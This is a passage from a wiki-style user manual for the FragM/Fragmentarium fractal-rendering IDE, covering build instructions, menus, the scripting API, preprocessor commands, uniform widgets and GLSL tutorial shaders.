 mkdir build
 cd build
 cmake-gui .. (note: set USE_OPEN_EXR=OFF when OpenEXR is not available/desired)
 make -j4
 make install (note: set the install prefix in cmake-gui before running make install, it will install to /usr/local by default, user home folder is OK.)

===Mac OSX dmg===

Prerequisites for '''Mac OSX''' (this is what was required to build on travis-ci.org)
      brew update
      brew tab homebrew/versions
      brew unlink gcc
      brew install gcc48
      brew install qt5
      brew install ilmbase openexr
      brew unlink openexr
      brew link --overwrite openexr
      brew unlink ilmbase
      brew link --overwrite ilmbase
      brew unlink cmake
      brew install cmake
      brew install git

Before calling cmake these env vars need to be set...
      export PATH=&quot;$QTDIR/bin:$PATH&quot;
      export PATH=/usr/local/bin:$PATH
      export CC=/usr/local/bin/gcc-4.8
      export CXX=/usr/local/bin/g++-4.8
      export QTDIR=&quot;/usr/local/opt/qt&quot;
      export LDFLAGS=&quot;-L/usr/local/opt/qt/lib&quot;
      export CPPFLAGS=&quot;-I/usr/local/opt/qt/include&quot;

Grab the source...
 git clone https://github.com/3Dickulus/FragM

Then to build, execute the following...
      cd FragM/Fragmentarium-Source
      mkdir build
      cd build
      cmake -DNVIDIAGL4PLUS=ON -DUSE_OPEN_EXR=ON -DCMAKE_INSTALL_PREFIX=../../ ..
      make install

And to build a dmg archive...
      cd ../../Fragmentarium-2.0.b
      macdeployqt ./Fragmentarium-2.0.b.app -dmg
      mv ./Fragmentarium-2.0.b.dmg ../Fragmentarium-Source/build/Fragmentarium-2.0.b-my_build.dmg
      cd ../Fragmentarium-Source/build
...this should create a file named Fragmentarium-2.0.b-my_build.dmg in the build folder.

=Now that you have it installed ;) =

Open syntopia.github&lt;ref&gt;[http://syntopia.github.io/Fragmentarium/usage.html Fragmentarium usage]&lt;/ref&gt; in your browser to learn about preprocessor commands, magical uniforms and GUI elements.

Open blog.hvidtfeldts&lt;ref&gt;[http://blog.hvidtfeldts.net/index.php/category/fragmentarium Fragmentarium blog]&lt;/ref&gt; in your browser to learn about the math behind path tracing 3D fractals and the GLSL code.

The information found at the v1.0 Syntopia links is valid for all versions of Fragmentarium.

==GUI Usage==
Run from the desktop by clicking the icon for the executable file. You can drag and drop '''.frag''' , '''.fragparams''' and '''.png''' screenshot files onto the main window and Fragmentarium will open a new tab for a .frag file or apply the parameter settings to the current fragment. Settings are stored in screen shot png files in a chunk named &quot;frAg&quot; and are automatically recognized by Fragmentarium.

==Commandline Usage==

 ./Fragmentarium-2.0.b [options] [filename.frag] &lt;enter&gt;
 
 Output:
 
 Fragmentarium is a cross-platform IDE for exploring pixel based GPU graphics.
 
 Options:
 -h, --help                 Displays this help.
 -v, --version              Displays version information.
 --style &lt;style&gt;            sets the application GUI style.
                            Possible values are
                            'Breeze','Windows','GTK+','Fusion'.
 -l, --language &lt;language&gt;  sets the application language.
                            Possible values are 'en','de','ru','nl'.
 -s, --script &lt;script&gt;      Fragmentarium command script file to load.
 
 Arguments:
 filename.frag              initial fragment to open.

==Troubleshooting==

===OpenGL version mismatch===

FragM 2 expects an OpenGL 4.1 Compatibility Profile context.  Some drivers provide a lower version in Compatibility Profile, reserving higher versions for Core Profile. 

Check it : 
&lt;syntaxhighlight lang=&quot;Bash&quot;&gt;
   glxinfo | grep &quot;core profile&quot;
&lt;/syntaxhighlight&gt;
Unfortunately if FragM gets a lower version, it can crash on startup with a segmentation fault.

====Mesa====

Check if you are using MESA: 
&lt;syntaxhighlight lang=&quot;Bash&quot;&gt;
  glxinfo | grep version
&lt;/syntaxhighlight&gt;
If using Mesa for OpenGL (most commonly on Linux with Free/Libre Open Source drivers) you can force Mesa to lie about its capabilities by setting an environment variable in the shell before launching FragM:

&lt;syntaxhighlight lang=&quot;Bash&quot;&gt;
export MESA_GL_VERSION_OVERRIDE=&quot;4.6COMPAT&quot;
&lt;/syntaxhighlight&gt;

This may however merely postpone crashes until unsupported features are invoked.  Use at your own risk.

=Files &amp; Folders=
==Examples==
Contains 233 files in 16 sub-folders, this tree is duplicated in the Examples menu, just select one and it will be loaded into a new tab.

==Examples/Tutorials==
Contains 19 tutorial frags that demonstrate specific features or techniques.&lt;br&gt;

The rest of the folders in Examples/ contain frags from a number of contributors, see Acknowledgements

==fqScript==
Contains some example '''F'''ragmentarium '''Q'''t '''S'''cript files that can be loaded, edited, executed and saved from within Fragmentarium.

==Misc==
Contains '''opt'''ions files for the video encoders, this folder is also intended for tool scripts like ''mkcombined.sh'' and the glsl.xml that describes highlighting for the code editor, at the end of glsl.xml there are places for user selectable colors and style hints so one can customize the highlighting to their own tastes.

==Languages==
Contains GUI translation files for Dutch, German and Russian contributed by Sabine, Crist-JRoger and SCORPION.

=Main Window=
[[File:Screenshot 20170818 214104.png|thumb|Screenshot]]
'''Top''' , Program Menus and dynamic menus&lt;br&gt;
'''Tool Bar''' , Buffer size, Build, Progressive/Animation stop start rewind, Subframe setting and readout, Current time setting and readout.&lt;br&gt;
'''Left''' , Fragment editor, hide by dragging the splitter bar all the way to the left&lt;br&gt;
'''Middle''' , GL rendering area&lt;br&gt;
'''Right''' , Variable widgets (uniforms) dock window, can float or be hidden&lt;br&gt;
'''Bottom''' , Log dock window, can float or be hidden&lt;br&gt;
'''Status Bar''' , relays info messages, has XYZ readout for cursor pos, rendered frames per second.&lt;br&gt;

=Menus=
==File==
 '''New''' : Creates a new tab with a simple DE function.
 '''Open''' : Creates a new tab and loads the selected fragment file.
 '''Save''' : Writes the currently active tab to file.
 '''Save As''' : Writes the currently active tab to filename selected by user.
 '''Recent files list''' : History.
 '''Close Tab''' : Closes the currently active tab and associated windows.
 '''Exit Application''' : Quits Framentarium, user will be prompted if there are unsaved changes.

==Edit==
 '''Cut''' : Cuts selected text to clipboard.
 '''Copy''' : Copies selected text to clipboard.
 '''Paste''' : Pastes current clipboard contents.
 '''Find''' : Locate selected text, if no selected text request user input.
 '''Shader Asm''' : Displays GPU assembler code for currently active shaders. (nVidia only)
 '''Indent Script''' : Indent selected text.
 '''Insert Command''' -&gt;
     '''Preprocessor Commands''' : Inserts the selected preprocessor command at the cursor or replaces selected text.
     '''Special Uniforms''' : Inserts the selected uniform variable at the cursor or replaces selected text.
     '''Include File (from Preferences Path)''' : Creates an #include fileName statement at the current cursor position.
     '''Insert Preset (from Current Settings)''' : Appends a new named preset to the text editor.
 '''Add Easing Curve''' : Creates easingcurve settings for the currently selected slider.
 '''Add Key Frame''' : Appends a preset with only camera position information.
 '''Select Key Frame''' : Highlights the text associated with the currently listed keyframe from the variable editor pulldown menu.
 '''Preferencess''' : Global program settings.

==Render==
 '''Build Systems''' : Compiles the shaders.
 '''High Resolution and Animation Render''' : Opens the rendering dialog.
 '''Output Preprocessed Script (debug)''' : Creates a new tab with the main fragment script after parsing all included files.
 '''Full Screen (ESC key toggle)''' : Switch to full screen mode.
 '''Save Screen Shot''' : Saves the current GL area. When image format is png the settings are saved in the &quot;fRAg&quot; chunk, Fragmentarium will recognize this chunk if the screen shot png file is dragged and dropped onto the main window and will attempt to apply those settings to the current fragment.
 '''Edit Command Script''' : Opens a simple editor and allows creating, loading and running a .fqs file, see fqScript folder for examples.
 '''Video Encoding''' : Opens a dialog where the user can select mencoder or ffmpeg to create videos from a folder of generated images.

==Parameters==
 '''Reset All''' : Resets all uniforms to their specified default values.
 '''Copy Settings''' : Copies all variable settings to the clipboard.
 '''Copy Group''' : Copies a single group (variable editor tab) to the clipboard.
 '''Paste from Clipboard''' : Pastes clipbaord contents into variable editor.
 '''Paste Selected Text''' : Pastes the selected text (usually from a preset in the code window) into the variable editor.
 '''Save to File''' : Creates a parameters file.
 '''Load from File''' : Loads a parameters file.

==Examples==
This menu is populated dynamically at runtime from the contents of the currently active [[Fractals/fragmentarium#Examples|Examples folder]]. Selecting a fragment will load the file into a new tab and execute build.

==Windows==
These are parts of the main window that can be displayed or hidden. Right mouse button click in the empty part of the menu bar will show this menu as a popup.
 '''Log'''
 '''Variable Editor (uniforms)'''
 '''File Toolbar'''
 '''Edit Toolbar'''
 '''Buffer Dimensions'''
 '''Render Toolbar'''
 '''Rendering Mode'''
 '''Zappa Tools'''
 '''Time'''
 
==Help==
These should be self explanitory.
 '''About'''
 '''Show Welcome Note'''
 '''Mouse and Keyboard Help'''
 '''Scripting General Help'''
 '''Scripting Parameter Help'''
 '''Scripting Image Anim Dialog Help'''
 '''Scripting Control Help'''
 '''Clear Texture Cache'''
 [http://syntopia.github.com/Fragmentarium/ '''Project Homepage'''] (web link)
 [http://www.fractalforums.com/fragmentarium/ '''Fragmentarium@FractalForums'''] (web link)
 [http://www.digilanti.org/fragmentarium/ '''Fragmentarium 3Dickulus'''] (web link)
 [http://flickr.com/groups/fragmentarium/ '''Flickr Fragmentarium Group'''] (web link)
 [http://www.opengl.org/registry/ '''GLSL Specifications'''] (web link)
 [http://blog.hvidtfeldts.net/index.php/2011/06/distance-estimated-3d-fractals-part-i/ '''Introduction to Distance Estimated Fractals'''] (web link)
 [http://blog.hvidtfeldts.net/index.php/2011/12/fragmentarium-faq/ '''Fragmentarium FAQ'''] (web link)

==EXR Tools==
When OpenEXR is installed on your system this menu should be populated with these commands. Selecting a command from this menu will display a usage help dialog, these are all commandline programs and only information about the command is shown here.
 '''exrenvmap'''
 '''exrheader'''
 '''exrmakepreview'''
 '''exrmaketiled'''
 '''exrmultipart'''
 '''exrmultiview'''
 '''exrstdattr'''
If the '''EXR Tools''' menu exists but shows no entries you can set the '''EXR binaries path''' via '''Preferences...''' from the '''Edit''' menu.

=Main Window Dialogs=
{|
|-
| '''High Resolution and Animation Render'''  : Opens the render dialog. Here you can render a single image or a range of images for animation.|| [[File:High Resolution and Animation Dialog.png|thumb|High Resolution and Animation Dialog]]
|-
| '''Easing Curves''' : This dialog represents the easing options available for the currently selected slider. || [[File:Easing Curve Dialog.png|thumb|Easing Curve Dialog]]
|-
| '''Timeline''' : A crude representation of keframes and easing curves, still under development. || [[File:Timeline Dialog.png|thumb|Timeline Dialog]]
|-
| '''Preferences''' : Main program global options. || [[File:Preferences Dialog.png|thumb|Preferences Dialog]]
|-
| '''Video Encoding''' : To setup mencoder or ffmpeg, some example options files are in the Misc folder. || [[File:Video Encoding Dialog.png|thumb|Video Encoding Dialog]]
|}

=Scripting=

Fragmentarium can be controlled via scripting commands available in '''fqs'''cript files.

==General commands==

    void setFrame(int);
Sets the current frame number.


    int getFrame();
Returns the current frame number.


    void loadFragFile(String);
Opens a new editor tab, loads the named fragment file, initializes default preset, initializes keyframes and easing curves if the file contains these settings.


    bool initializeFragment();
Returns success or fail.
Must be called after altering a locked variable before rendering an image.


==Parameter commands==

    void setParameter(String);
Set a parameter from String in the form of &quot;parameter = value&quot; also accepts parameter file formatted string.


    void setParameter(String, bool);
Sets a boolean parameter where String is the parameter name and bool is TRUE or FALSE


    void setParameter(String, int);
Sets an integer parameter where String is the parameter name and int is any integer.


    void setParameter(String, x);
Sets a float parameter where String is the parameter name and x is any floating point number.


    void setParameter(String, x, y);
Sets a float2 parameter where String is the parameter name and x,y are any floating point numbers.


    void setParameter(String, x, y, z);
Sets a float3 parameter where String is the parameter name and x,y,z are any floating point numbers.


    void setParameter(String, x, y, z, w);
Sets a float4 parameter where String is the parameter name and x,y,z,w are any floating point numbers.


    String getParameter(String);
Returns a string representing the value(s) for the named parameter, user must parse this into usable values.


    void applyPresetByName(String);
Applies the named preset.


==Hires image and animation dialog commands==

    void setAnimationLength(int);
Sets the total animation duration in seconds.


    void setTileWidth(int);
    void setTileHeight(int);
Sets the tile width and height.


    void setTileMax(int);
Sets the number of row and column tiles, this value squared = total tiles.


    void setSubFrames(int);
Sets the number of frames to accumulate.


    void setOutputBaseFileName(String);
Sets the filename for saved image, if script has total control this must be set by the script for every frame, if animation is using frag file settings, keyframes etc., then this only needs to be set once to basename and Fragmentarium will add an index padded to 5 digits.


    void setFps(int);
Sets the frames per second for rendering.


    void setStartFrame(int);
Sets the start frame number for rendering a range of frames.


    void setEndFrame(int);
Sets the end frame number for rendering a range of frames.


    void setAnimation(bool);
FALSE sets animation to script control exclusively.
TRUE enables control from keyframes and easing curves.


    void setPreview(bool);
TRUE will preview frames in a window on the desktop instead of saving image files.


==Control commands==

    bool scriptRunning();
Returns FALSE when the user selects the [Stop] button in the script editor.
For user implemented test in script to break out of the script control loop.


    void stopScript();
For user implemented test in script to break out of the script control loop or error like file not found, initialization fail etc.


    void tileBasedRender();
Begins rendering the current frame or range of frames applying the current state for keyframes and active easing settings.

=Preprocessor Commands=
(from syntopia.github.io)
Fragmentarium adds a few additional preprocessor commands.


 #include &quot;some.frag&quot;
Simply includes the referenced file. If the filename is a relative filename, Fragmentarium first searches for the file relative to the location of the current executing file (if it is saved), otherwise the paths specified in the 'include path' preference are searched.


 #camera 3D
Tells Fragmentarium to setup a 3D camera model, making it possible to adjust the camera using the mouse on the canvas.


 #camera 2D
Tells Fragmentarium to setup a 2D camera model. 


 #group parameter group name
Makes it possible to order GUI elements in groups.


 #info &quot;hello there&quot;
Outputs info when compiling the fragment. Useful for attributions.


 #includeonly &quot;some.frag&quot;
Experimental. Includes 'some.frag', but will ignore any 'include' commands in that file.


 #replace &quot;before&quot; &quot;after&quot;
Experimental. Replaces the given patterns in all subsequent read lines (not in previously parsed lines).


 #donotrun
Tells Fragmentarium that it should not attempt to run this file - it is meant be included from another file.


 #preset name
Marks the beginning of a section with parameter settings. These will appear in a drop-down combobox in the parameter editor window.


 #endpreset
Marks the end of a section with parameter settings.

=Uniform Widgets=
The line: ''uniform float Angle; slider[45.00,0,360]'' in the GLSL editor will make a simple variable editor widget appear.

To create widgets for other types of uniforms...

''uniform'' '''type''' ''name'' ; '''widget[min,default,max]''' ''locktype''

The keyword '''uniform''' must always be present at the beginning of the line.&lt;br&gt;
'''locktype''' can be one of ''locked notlocked notlockable alwayslocked'' defaults to ''notlocked''&lt;br&gt;
In the Menu/Edit/Preferences dialog you can select the behavior of lock handling.
&quot;Locked&quot; uniforms can be interpreted as &quot;#define&quot;s or as &quot;const&quot;s in the final GLSL code that gets sent to the GPU.

'''type'''  and  '''widget''' can be one of these GLSL valid types and corresponding Fragmentarium widgets...
==v1.0 - v1.0.31==
{| class=&quot;wikitable&quot;
|-
! || Type || || Widget
|-
| ''uniform'' || '''int''' || ''name; '' || '''slider[min,default,max]'''
|-
| ''uniform'' || '''bool''' || ''name; '' || '''checkbox[true''' or '''false]'''
|-
| ''uniform'' || '''float''' || ''name; '' || '''slider[min,default,max]'''
|-
| ''uniform'' || '''vec2''' || ''name; '' || '''slider[(min,min),(default,default),(max,max)]'''
|-
| ''uniform'' || '''vec3''' || ''name; '' || '''slider[(min,min,min),(default,default,default),(max,max,max)]'''
|-
| ''uniform'' || '''vec4''' || ''name; '' || '''slider[(min,min,min,min),(default,default,default,default),(max,max,max,max)]'''
|-
| ''uniform'' || '''vec3''' || ''name; '' || '''color[R,G,B]''' ''color selector only''
|-
| ''uniform'' || '''vec4''' || ''name; '' || '''color[min,default,max, R, G, B]''' ''slider with color selector''
|-
| ''uniform'' || '''sampler2D''' || ''name; '' || '''file[imageFileName]''' ''can be any supported format''
|}

==v2.0==
All of v1.0 - v1.0.31 plus these...
{| class=&quot;wikitable&quot;
|-
! || Type || || Widget
|-
| ''uniform'' || '''[http://www.fractalforums.com/announcements-and-news/fragmentarium-2-0-beta/msg102794/#msg102794 samplerCube]''' || ''name; '' || '''file[cubemap.png]'''
|-
| ''uniform'' || '''double''' || ''name; '' || '''slider[min,default,max]'''
|-
| ''uniform'' || '''dvec2''' || ''name; '' || '''slider[(min,min),(default,default),(max,max)]'''
|-
| ''uniform'' || '''dvec3''' || ''name; '' || '''slider[(min,min,min),(default,default,default),(max,max,max)]'''
|-
| ''uniform'' || '''dvec4''' || ''name; '' || '''slider[(min,min,min,min),(default,default,default,default),(max,max,max,max)]'''
|-
| ''uniform'' || '''dvec3''' || ''name; '' || '''color[R,G,B]''' ''color selector only''
|-
| ''uniform'' || '''dvec4''' || ''name; '' || '''color[min,default,max, R, G, B]''' ''slider with color selector''
|}


All float type sliders have '''7''' decimal places while double types have '''14'''.

=Tutorials=
{| class=&quot;wikitable collapsible&quot;
! 00 - Simple 2D system.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/00%20-%20Simple%202D%20system.frag 00 - Simple 2D system.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;2D.frag&quot;

// The simplest way to draw something in Fragmentarium,
// is to include the &quot;2D.frag&quot; header.
//
// Now, we can implement a simple 'color' function,
// which for each point in the plane returns a RGB color.
//
// Notice, that you can zoom using the mouse or the keyboard.
// (A,S,D,W,Q,E,1,3)

vec3 color(vec2 c) {
	return vec3(cos(c.x),sin(c.y),sin(c.x*c.y));
}&lt;/syntaxhighlight&gt;

|}

{| class=&quot;wikitable collapsible&quot;
! 01 - Simple 2D Escape Time Fractal.frag
|-
|[https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/01%20-%20Simple%202D%20Escape%20Time%20Fractal.frag 01 - Simple 2D Escape Time Fractal.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;2DJulia.frag&quot;
#include &quot;Complex.frag&quot;

// Escape time fractals iterate a functions for each point
// in the plane, and check if the sequence generated converges.
// 
// The &quot;2DJulia.frag&quot; helper file makes it easy to generate
// these kind of systems.
//
// Just implement the 'formula' function below.
// It is possible to draw Mandelbrots and Julias
// and customize the coloring.
//
// Here is an example of a Mandelbrot:

vec2 formula(vec2 z, vec2 offset) {
	z = cMul(z,z)+offset;
	return z;
}&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 02 - User Variables and Presets.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/02%20-%20User%20Variables%20and%20Presets.frag 02 - User Variables and Presets.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;2D.frag&quot;

// It is easy to create custom variables,
// and tie them to sliders in the user interface.
//
// Hint: use the context menu to quickly
// insert templates for different variable types.
// Here you can also see the different types 
// of variables.

// Organize controls by grouping them 
#group MySystem

// Creates a floating point variable,
// with a slider with minimum = 0,
// default = 1, and maximum 10.
uniform float X; slider[0,1,10]
uniform float Y; slider[0,1,10]

// Use the variable like any other in the code
// (But don't assign to them)
vec3 color(vec2 c) {
	return vec3(cos(c.x*X)+sin(c.y*Y),
		sin(c.x*Y)+cos(c.y*X),
		sin(c.x*c.y));
}

// It is possible to store one or more user variable
// settings in a Preset.
//
// Preset are parsed at build time, and will
// appear in the drop-down box in the Parameter 
// window, where they can be quickly applied.

// Presets with the name 'Default'
// will be automatically assigned,
// when the system is built the first time.
#preset Default
Center = -0.221053,0.488189
Zoom = 0.186907
AntiAliasScale = 1
AntiAlias = 1
X = 1.2977
#endpreset

// Create presets by using the
// 'Copy to Clipboard' button in the 
// Parameter window.
#preset Preset 2
Center = -0.221053,0.488189
Zoom = 0.335658
AntiAliasScale = 1
AntiAlias = 1
X = 6.8702
Y = 0.3053
Y = 6.3359
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 03 - Dynamic Systems.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/03%20-%20Dynamic%20Systems.frag 03 - Dynamic Systems.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;2D.frag&quot;

// It is possible to change variables
// based on a special uniform 'time' variable.
//
// To see this in action, you must
// change the Render mode to 'Animation (time)' - 
// otherwise the system will only render changes 
// when something changes.

#group MySystem

uniform float X; slider[0,1,10]
uniform float Y; slider[0,1,10]
uniform float time;

vec3 color(vec2 c) {
	return vec3(cos(c.x*X+time)+sin(c.y*Y+time*2.0),
		sin(c.x*Y)+cos(c.y*X+time),
		sin(c.x*c.y+time));
}

#preset Default
Center = -1.87816,-0.786641
Zoom = 0.214943
AntiAliasScale = 1
AntiAlias = 1
X = 5.0382
Y = 3.0534
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 04 - Textures.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/04%20-%20Textures.frag 04 - Textures.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;2D.frag&quot;

// It is possible to read from external bitmaps
// from Fragmentarium using textures.
// Set up a sampler2D as below,
// and read using the texture2D command.
#group MySystem

uniform float T ;slider[0,4,10]
uniform float R; slider[0,2,10]
uniform float step; slider[0,0.004,0.01]
uniform float time;

// Here we read from a texture
// Files locations are resolved relative to the current file,
// and to the include path set in the settings.
uniform sampler2D texture; file[texture2.jpg]

// You can set texture parameters directly:
#TexParameter texture GL_TEXTURE_MAG_FILTER GL_LINEAR
#TexParameter texture GL_TEXTURE_WRAP_S GL_REPEAT
#TexParameter texture GL_TEXTURE_WRAP_T GL_REPEAT

// A simple system based on the 'tunnel' system by Inigo Quilez:
// http://www.iquilezles.org/apps/shadertoy/
vec3 color(vec2 c) {
	c*= 1.3+cos(time*2.0);
	vec2 uv;
	
	float a = atan(c.y,c.x);
	float r = length(c);
	
	uv.x = .5*time+.1/r;
	uv.y = a/3.1416 + time*0.1;
	vec2 dd = vec2(step,0.0);
	vec2 d =uv;
	vec3 col = texture2D(texture,d).xyz;
	vec3 colX = texture2D(texture,d+dd.xy).xyz;
	vec3 colMX = texture2D(texture,d-dd.xy).xyz;
	vec2 g;
	g.x = length(colMX)-length(colX);
	vec3 colY = texture2D(texture,d+dd.yx).xyz;
	vec3 colMY = texture2D(texture,d-dd.yx).xyz;
	g.y = length(colMY)-length(colY);
	g = normalize(g);
	vec2 light = vec2(cos(time*T),sin(time*T))*R;
	return mix(col,r*col* max(-1.0,dot(light,g)),0.9);
}

#preset Default
Center = -0.0214904,-0.00195827
Zoom = 2.34384
AntiAliasScale = 1
AntiAlias = 1
T = 4.3511
R = 2.2308
step = 0.0041
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 10 - Simple Distance Estimated 3D system.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/10%20-%20Simple%20Distance%20Estimated%203D%20system.frag 10 - Simple Distance Estimated 3D system.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#define providesColor
#include &quot;Soft-Raytracer.frag&quot;

// This is an example of 
// a simple distance estimated system.
//
// The function &quot;DE&quot; must return 
// the distance to the closest 
// point on any objects in any direction.
vec3 baseColor(vec3 p, vec3 n) {
	if (mod(length(p*10.0),2.0)&lt;1.0) return vec3(1.0);
   return vec3(0.0);
}

float  DE(vec3 z) {
	float d = (length(z-vec3(1.0,0.0,0.0))-1.0); // A sphere
	d = max(d,- (length(z.xy-vec2(1.,0.0))-0.4)); // minus a tube
	d = max(d,- (length(z.yz-vec2(0.,0.0))-0.4)); // minus a tube
	d = max(d,- (length(z.xz-vec2(1.,0.0))-0.4)); // minus a tube
	d = min(d, z.x); // plus a ground plane
       d = min(d, length(z.yz-vec2(1.,1.0))-0.3); // plus a  tube
	return d;
}

#preset Default
FOV = 0.4
Eye = 4.76415,-4.09381,3.08941
Target = -1.17452,2.39263,-1.67067
Up = 0.803593,0.507247,-0.311349
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 11 - Simple Distance Estimated 3D fractal.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/11%20-%20Simple%20Distance%20Estimated%203D%20fractal.frag 11 - Simple Distance Estimated 3D fractal.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;DE-Raytracer.frag&quot;

// Here one of the simplest fractals,
// a distance estimated Menger cube.
#group Menger
uniform int Iterations;  slider[0,8,100]
uniform int ColorIterations;  slider[0,8,100]
uniform float Scale; slider[0.00,3.0,4.00]
uniform vec3 Offset; slider[(0,0,0),(1,1,1),(1,1,1)]

float DE(vec3 z)
{
	int n = 0;
	while (n &lt; Iterations) {
		z = abs(z);
		if (z.x&lt;z.y){ z.xy = z.yx;}
		if (z.x&lt; z.z){ z.xz = z.zx;}
		if (z.y&lt;z.z){ z.yz = z.zy;}
		z = Scale*z-Offset*(Scale-1.0);
		if( z.z&lt;-0.5*Offset.z*(Scale-1.0))  z.z+=Offset.z*(Scale-1.0);
		if (n&lt;ColorIterations) orbitTrap = min(orbitTrap, (vec4(abs(z),dot(z,z))));		
		n++;
	}
	
	return abs(length(z)-0.0 ) * pow(Scale, float(-n));
}

#preset Default
FOV = 0.4
Eye = -3.55741,0.119991,-2.22946
Target = 4.91261,-0.165702,3.07876
Up = 0.0398762,0.999198,-0.00374516
AntiAlias = 1
Detail = -2.35396
DetailAO = -1.00002
FudgeFactor = 1
MaxRaySteps = 56
BoundingSphere = 3.774
Dither = 0.5
NormalBackStep = 1
AO = 0,0,0,0.7
Specular = 0.1666
SpecularExp = 16
SpotLight = 1,1,1,0.19608
SpotLightDir = 0.37142,0.1
CamLight = 1,1,1,1.13978
CamLightMin = 0.29412
Glow = 1,1,1,0.07895
GlowMax = 20
Fog = 0.4161
HardShadow = 0.33846
ShadowSoft = 2
Reflection = 0
BaseColor = 1,1,1
OrbitStrength = 0.64935
X = 0.5,0.6,0.6,0.2126
Y = 1,0.6,0,0.30708
Z = 0.8,0.78,1,1
R = 0.666667,0.666667,0.498039,0.03174
BackgroundColor = 0.6,0.6,0.45
GradientBackground = 0.3
CycleColors = false
Cycles = 6.95699
EnableFloor = false
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
Iterations = 8
ColorIterations = 5
Scale = 3
Offset = 1,1,1
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 12 - Faster raytracing of 3D fractals.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/12%20-%20Faster%20raytracing%20of%203D%20fractals.frag 12 - Faster raytracing of 3D fractals.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;// There are different ways to speedup
// raytracing.
//
// 1) Using the 'Preview' sliders to render at lower resolution.
// 2) Locking parameters, you do not want to change dynamically, by clicking the padlock next to them, and recompiling
// 3) Using another raytracer:
//
// In this example the 'Fast-Raytracer' is used,
// it is faster then the default one, but does
// not offer as much flexibility.
// 
// Subblue's raytracer is another faster option.
#include &quot;Fast-Raytracer.frag&quot;
//#include &quot;Subblue-Raytracer.frag&quot;

// Here one of the simplest fractals,
// a distance estimated Menger cube.
#group Menger
uniform int Iterations;  slider[0,8,100]
uniform int ColorIterations;  slider[0,8,100]
uniform float Scale; slider[0.00,3.0,4.00]
uniform vec3 Offset; slider[(0,0,0),(1,1,1),(1,1,1)]

float DE(vec3 z)
{
	int n = 0;
	while (n &lt; Iterations) {
		z = abs(z);
		if (z.x&lt;z.y){ z.xy = z.yx;}
		if (z.x&lt; z.z){ z.xz = z.zx;}
		if (z.y&lt;z.z){ z.yz = z.zy;}
		z = Scale*z-Offset*(Scale-1.0);
		if( z.z&lt;-0.5*Offset.z*(Scale-1.0))  z.z+=Offset.z*(Scale-1.0);
		if (n&lt;ColorIterations) orbitTrap = min(orbitTrap, (vec4(abs(z),dot(z,z))));		
		n++;
	}
	
	return abs(length(z)-0.0 ) * pow(Scale, float(-n));
}

#preset Default
FOV = 0.4
Eye = -3.55741,0.119991,-2.22946
Target = 4.91261,-0.165702,3.07876
Up = 0.0398762,0.999198,-0.00374516
AntiAlias = 1
Detail = -2.35396
DetailAO = -1.00002
FudgeFactor = 1
MaxRaySteps = 56
BoundingSphere = 3.774
Dither = 0.5
NormalBackStep = 1
AO = 0,0,0,0.7
Specular = 0.1666
SpecularExp = 16
SpotLight = 1,1,1,0.19608
SpotLightDir = 0.37142,0.1
CamLight = 1,1,1,1.13978
CamLightMin = 0.29412
Glow = 1,1,1,0.07895
GlowMax = 20
Fog = 0.4161
HardShadow = 0.33846
ShadowSoft = 2
Reflection = 0
BaseColor = 1,1,1
OrbitStrength = 0.64935
X = 0.5,0.6,0.6,0.2126
Y = 1,0.6,0,0.30708
Z = 0.8,0.78,1,1
R = 0.666667,0.666667,0.498039,0.03174
BackgroundColor = 0.6,0.6,0.45
GradientBackground = 0.3
CycleColors = false
Cycles = 6.95699
EnableFloor = false
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
Iterations = 8
ColorIterations = 5
Scale = 3
Offset = 1,1,1
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 20 - Progressive 2D.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/20%20-%20Progressive%202D.frag 20 - Progressive 2D.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;Progressive2D.frag&quot;
#include &quot;Complex.frag&quot;

// An example of using progressive rendering.
// Bbuffers are set up by the 'Progressive2D' fragment.
//
// Remember to set 'Render mode' to 'Progressive'.
// Progressive rendering, makes very high-quality AA possible.
// Notice, that this is a difficult image to render, due to very high frequency components.

vec3 color(vec2 v) {
	vec2 p = (viewCoord+vec2(1.0))/2.0;
	p=p/pixelSize;
	
	if (p.y&lt;40.0) {
		return vec3(pow(0.5,1.0/Gamma));
	}
	float r = dot(v,v);
	float a = 1.0;
	if (mod(r,1.0)&lt;0.5) a =1.0-a;
	if (v.y&gt;0.0) a = 1.0-a;
	return vec3(a);
}


#preset Default
